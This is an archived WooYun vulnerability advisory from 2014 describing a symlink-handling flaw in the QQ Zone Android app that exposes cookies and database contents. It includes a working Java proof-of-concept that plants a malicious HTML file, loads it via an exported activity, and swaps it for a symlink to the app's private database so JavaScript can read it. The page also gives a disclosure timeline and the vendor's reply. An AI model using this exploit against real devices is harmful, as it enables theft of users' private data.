当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061571

漏洞标题：QQ空间Android版逻辑缺陷导致隐私泄漏

相关厂商：腾讯

漏洞作者： 路人甲

提交时间：2014-05-26 11:36

修复时间：2014-08-24 11:38

公开时间：2014-08-24 11:38

漏洞类型：设计错误/逻辑缺陷

危害等级：低

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-26： 细节已通知厂商并且等待厂商处理中
2014-05-26： 厂商已经确认，细节仅向厂商公开
2014-05-29： 细节向第三方安全合作伙伴开放
2014-07-20： 细节向核心白帽子及相关领域专家公开
2014-07-30： 细节向普通白帽子公开
2014-08-09： 细节向实习白帽子公开
2014-08-24： 细节向公众公开

简要描述：

QQ空间Android版逻辑缺陷导致隐私泄漏

详细说明：

QQ空间Android版对file域下符号链接限制不当，可导致cookie等用户隐私被窃取

漏洞证明：

qzone.jpg


import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
public class MainActivity extends Activity {
    public final static String MY_PKG =
        "com.example.testqzone";
    public final static String MY_TMP_DIR =
        "/data/data/" + MY_PKG + "/tmp/";
    public final static String HTML_PATH =
        MY_TMP_DIR + "A" + Math.random() + ".html";
    
    public final static String TARGET_PKG =
            "com.qzone";
    
    public final static String TARGET_FILE_PATH =
            "/data/data/" + TARGET_PKG + "/databases/cfcd208495d565ef66e7dff9f98764da";
    
    public final static String HTML =         
    		"<body>" +       
            "<u>Wait a few seconds.</u>" +         
    		"<script>" +         
            "var d = document;" +         
    		"function doitjs() {" +         
            "  var xhr = new XMLHttpRequest;" +         
    		"  xhr.onload = function() {" +         
            "    var txt = xhr.responseText;" +         
    		"    d.body.appendChild(d.createTextNode(txt));" +         
            "    alert(txt);" +         "  };" +         
    		"  xhr.open('GET', d.URL);" +         
            "  xhr.send(null);" +         
    		"}" +         
            "setTimeout(doitjs, 8000);" +         
    		"</script>" +         
            "</body>"; 
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        doit();
    }
    public void doit() {
        try {
            // Create a malicious HTML
            cmdexec("mkdir " + MY_TMP_DIR);
            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
            cmdexec("chmod -R 777 " + MY_TMP_DIR);
            Thread.sleep(1000);
            // Force Chrome to load the malicious HTML
            invokeChrome("file://" + HTML_PATH);
            Thread.sleep(4000);
            // Replace the HTML with a symlink to Chrome's Cookie file
            cmdexec("rm " + HTML_PATH);
            cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
        }
        catch (Exception e) {}
    }
    public void invokeChrome(String url) {
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        intent.setClassName(TARGET_PKG, "com.tencent.mtt.spcialcall.SpecialCallActivity");
        startActivity(intent);
    }
    public void cmdexec(String cmd) {
        try {
            String[] tmp = new String[] {"/system/bin/sh", "-c", cmd};
            Runtime.getRuntime().exec(tmp);
        }
        catch (Exception e) {}
    }
}

修复方案：

对符号链接进行限制

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-05-26 16:07

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无